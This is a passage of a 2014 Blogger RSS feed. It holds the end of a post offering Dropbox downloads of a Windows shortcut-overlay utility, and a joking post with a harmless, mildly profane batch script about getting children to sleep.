  &lt;figure style=&quot;text-align: center;&quot;&gt; &lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/v78modes1_zps00040f4d.png&quot; style=&quot;margin-top: 25px;&quot; alt=&quot;v78mode&quot; /&gt;
    &lt;figcaption&gt;Modes for Windows Vista and 7 &amp;amp; 8&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;Each mode looks the same, but one of the resources in Vista is in a different dll than 7 &amp;amp; 8&amp;#39;s&lt;/p&gt;
  &lt;figure style=&quot;text-align: center;&quot;&gt; &lt;img src=&quot;http://i254.photobucket.com/albums/hh119/faithnomoread/eachmodes1_zps0f43f843.png&quot; style=&quot;margin-top: 25px;&quot; alt=&quot;each&quot; /&gt;
    &lt;figcaption&gt;Options&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p style=&quot;text-indent: 16px;&quot;&gt;There is a portable version or an installable version for those who like that method. The installable version can be cleanly uninstalled. The only single drawback to is that sometimes Windows 7 must be restarted completely to see the results as it will temporarily display a black square until you restart. Not even an issue for me, but if anyone would like me to add a feature to restart the computer just leave a comment and I can add it in. This program is not Windows Verified and so might display false positives, but I freely offer the source code and it should show unknown and not untrusted.&lt;/p&gt;
  &lt;ul style=&quot;color: red; list-style-type: none;&quot;&gt;
    &lt;li&gt;Installable Download: &lt;a href=&quot;https://www.dropbox.com/s/p67qurrxeqnf37n/ShorcutOverlay%20Utility%20Install%20V1.1.0.0.exe?dl=0&quot; target=&quot;_blank&quot;&gt;ShorcutOverlay Utility Install&lt;/a&gt; &lt;/li&gt;
    &lt;li&gt;Portable Download: &lt;a href=&quot;https://www.dropbox.com/s/pk8vx3d0qp3d7wl/ShortcutOverlay%20Utility%20by%20Lateralus138%20V1.1.0.0.exe?dl=0&quot; target=&quot;_blank&quot;&gt;ShorcutOverlay Utility Portable&lt;/a&gt;&lt;/s&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2014/09/shortcut-overlay-utility-by-lateralus138.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-2507918264250454836</guid><pubDate>Sat, 02 Aug 2014 19:02:00 +0000</pubDate><atom:updated>2014-08-02T14:04:19.351-05:00</atom:updated><title>Kids going to sleep batch script :D</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%;&quot;&gt;
&lt;h1 style=&quot;color: #fff380; margin: 0 auto; text-align: center; font-family: &quot;Avant Garde&quot;, Avantgarde, &quot;Century Gothic&quot;, CenturyGothic, &quot;AppleGothic&quot;, sans-serif;&quot;&gt;
Kids To Sleep Script&lt;/h1&gt;
For all my fellow geek/parents out there who know anything about dos batch/cmd coding I wrote this little script to mimic my feelings and many future instances with my children when trying to get them to GO TO SLEEP!!! lol Finishing the loop and continuing the eof consists of deleting a text file in the same folder named awake_kids.txt lol The funny thing about this post that don&#39;t get it is that while the file awake_kids.txt exists (kids are awake) the program is running and using processor power which in humans tires us down and in humans and computers eating up our power also wears our physical hulls down.... so when then awake_kids.txt gets deleted (kids go to sleep) the loop then ends and stops using so much energy the same as every parents experiences every time they go to sleep&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;
@echo off&lt;br /&gt;
:sleep&lt;br /&gt;
cls&lt;br /&gt;
if exist awake_kids.txt (&lt;br /&gt;
echo Get your ass to sleep!!!&lt;br /&gt;
goto:sleep&lt;br /&gt;
) else (&lt;br /&gt;
echo About fucking time!!!&lt;br /&gt;
pause&lt;br /&gt;
goto:eof&lt;br /&gt;)&lt;/code&gt;
&lt;/div&gt;
</description><link>https://techmicrocosm.blogspot.com/2014/08/kids-going-to-sleep-batch-script-d.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item></channel></rss>